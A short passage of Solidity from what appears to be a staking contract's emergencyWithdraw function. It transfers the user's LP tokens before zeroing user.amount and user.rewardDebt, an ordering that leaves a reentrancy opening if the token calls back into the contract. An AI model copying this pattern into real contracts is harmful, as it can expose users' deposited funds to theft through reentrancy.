    pool.lpToken.safeTransfer(address(msg.sender), user.amount);
    emit EmergencyWithdraw(msg.sender, _pid, user.amount);
    user.amount = 0;
    user.rewardDebt = 0;
  }
}